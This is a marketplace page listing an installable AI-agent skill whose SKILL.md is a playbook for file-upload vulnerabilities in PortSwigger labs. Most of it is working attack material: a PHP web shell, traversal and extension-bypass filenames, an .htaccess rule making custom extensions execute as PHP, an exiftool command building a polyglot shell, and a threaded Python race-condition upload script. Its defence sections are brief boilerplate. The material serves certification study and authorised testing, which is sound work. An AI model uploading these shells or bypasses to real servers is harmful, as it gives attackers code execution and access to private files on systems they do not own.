agentsclimarketplace

File upload

Skill ShulkwiSEC/bb-huge/skills/curated/file-upload

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniquesFrom its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill file-upload

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

SKILL.md

4.6 KB, ~1.1k tokens by cl100k_base, as published. Nobody here has run it

File Upload Vulnerabilities β€” Deep Dive

Deep-Dive Lab Playbook β€” Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟒 Apprentice 🟑 Practitioner πŸ”΄ Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: RCE via web shell 🟒 APPRENTICE

<?php echo file_get_contents('/home/carlos/secret'); ?>

Upload as shell.php, access at /files/avatars/shell.php.

Lab 2: Content-Type bypass 🟒 APPRENTICE

Change Content-Type: application/x-php to Content-Type: image/jpeg in upload request.

Lab 3: Path traversal 🟑 PRACTITIONER

Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"

Upload to parent directory where PHP execution is enabled.

Lab 4: Extension blacklist bypass 🟑 PRACTITIONER

Try: .php5, .shtml, .phtml, .phar. Or upload .htaccess first:

AddType application/x-httpd-php .l33t

Then upload shell.l33t.

Lab 5: Obfuscated extension 🟑 PRACTITIONER

shell.php%00.jpg (null byte), shell.php. (trailing dot), shell.p." . "hp (broken validators).

Lab 6: Polyglot web shell 🟑 PRACTITIONER

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" photo.jpg -o polyglot.php

Valid JPEG + executable PHP.

Lab 7: Race condition upload πŸ”΄ EXPERT

Upload PHP file β†’ server validates β†’ deletes if invalid. Race: access file BEFORE deletion:

import threading, requests
def upload(): requests.post(URL, files={'avatar': ('shell.php', '<?php echo file_get_contents("/home/carlos/secret"); ?>')})
def read(): r = requests.get(FILE_URL); print(r.text)
for _ in range(100): threading.Thread(target=upload).start(); threading.Thread(target=read).start()

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

  1. Identify the filter/WAF
  2. Fuzz with Burp Intruder custom wordlists
  3. Search GitHub/Twitter for new bypasses
  4. Chain with other vulns for escalation
  5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

ConceptDescription
PortSwigger VectorsStandardized approaches to vulnerability classes.
Payload EncodingModifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

πŸ”΅ Blue Team

  • Deploy robust WAF rules to detect anomalies.
  • Monitor logs for unusual access patterns.

πŸ›‘οΈ Remediation & Mitigation Strategy

  • Input Validation: Sanitize and strictly type-check all inputs.
  • Least Privilege: Constrain component execution bounds.

πŸ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 1 file

7.8 KB alongside SKILL.md, 1 of them executable

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.